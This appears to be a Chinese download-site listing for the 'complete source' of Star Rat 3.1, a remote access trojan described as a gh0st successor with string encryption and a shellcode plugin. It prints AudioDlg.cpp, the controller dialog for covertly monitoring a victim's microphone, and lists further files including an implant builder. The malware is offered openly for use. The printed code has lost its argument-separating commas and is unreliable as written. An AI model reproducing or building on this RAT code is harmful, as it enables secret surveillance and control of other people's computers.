Star Rat 远控 3.1完整源码


Star Rat 远控 3.1完整源码,继gh0st之后比较稳定的远控,iocp模型和字符串加密提取,shellcode插件
资源截图
代码片段和文件信息
// AudioDlg.cpp : implementation file
//

#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog

CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT

m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;

m_nTotalRecvBytes = 0;

sockaddr_in  sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);

m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}


void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_send_localaudio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers


BOOL CAudioDlg::OnInitDialog() 
{
CDialog::OnInitDialog();

// TODO: Add extra initialization here

// Set the icon for this dialog.  The framework does this automatically
//  when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon

CString str;
str.Format(_T(“\\%s - 语音监听“) m_IPAddress);
SetWindowText(str);

// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));

m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);

m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);

return true;
}

void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
  str.Format(_T(“Receive %d KBytes“) m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

void CAudioDlg::OnReceive()
{

}

void CAudioDlg::OnClose() 
{
// TODO: Add your message handler code here and/or call default
// TODO: Add your message handler code here and/or call defaul

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件         22  2012-06-25 20:49  Star Rat 3.1完整源码Clienta.bat

     文件       3766  2012-05-20 17:42  Star Rat 3.1完整源码ClientAudioDlg.cpp

     文件       1684  2012-04-11 10:34  Star Rat 3.1完整源码ClientAudioDlg.h

     文件       2057  2013-04-01 01:02  Star Rat 3.1完整源码ClientBmpToAvi.cpp

     文件        834  2012-02-22 22:35  Star Rat 3.1完整源码ClientBmpToAvi.h

     文件      17380  2013-12-23 20:48  Star Rat 3.1完整源码ClientBuild.cpp

     文件       1579  2013-03-31 15:42  Star Rat 3.1完整源码ClientBuild.h

     文件       2902  2011-02-01 11:03  Star Rat 3.1完整源码ClientCalendarIncludes.h

     文件      10589  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendarMapiMAPICode.h

     文件      97808  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendarMapiMAPIDefS.h

     文件      11745  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendarMapiMAPIGuid.h

     文件      68535  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendarMapiMAPITags.h

     文件      25764  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendarMapiMAPIX.h

     文件        326  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esackarrow.cur

     文件        326  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esDragCopy.cur

     文件        326  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esDragMove.cur

     文件        558  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esEventGlyps.bmp

     文件        214  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esExpandSignDown.bmp

     文件        214  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esExpandSignUp.bmp

     文件        329  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarAllDayEventArrowsLR.png

     文件        396  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarEventGlyphs.png

     文件        701  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarExpandDay.png

     文件        720  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarHeader.png

     文件       1285  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarHeaderDVGroup.png

     文件       1050  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarHeaderMVDay.png

     文件        181  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarHeaderMVWeek.png

     文件        955  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarHeaderWVDay.png

     文件         94  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarTenativePattern.bmp

     文件       1583  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarTodayHeader.png

     文件       1799  2011-01-05 09:27  Star Rat 3.1完整源码ClientCalendar
esOffice2007_CalendarTodayHeaderMVDay.png

............此处省略4611个文件信息

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。

发表评论

评论列表(条)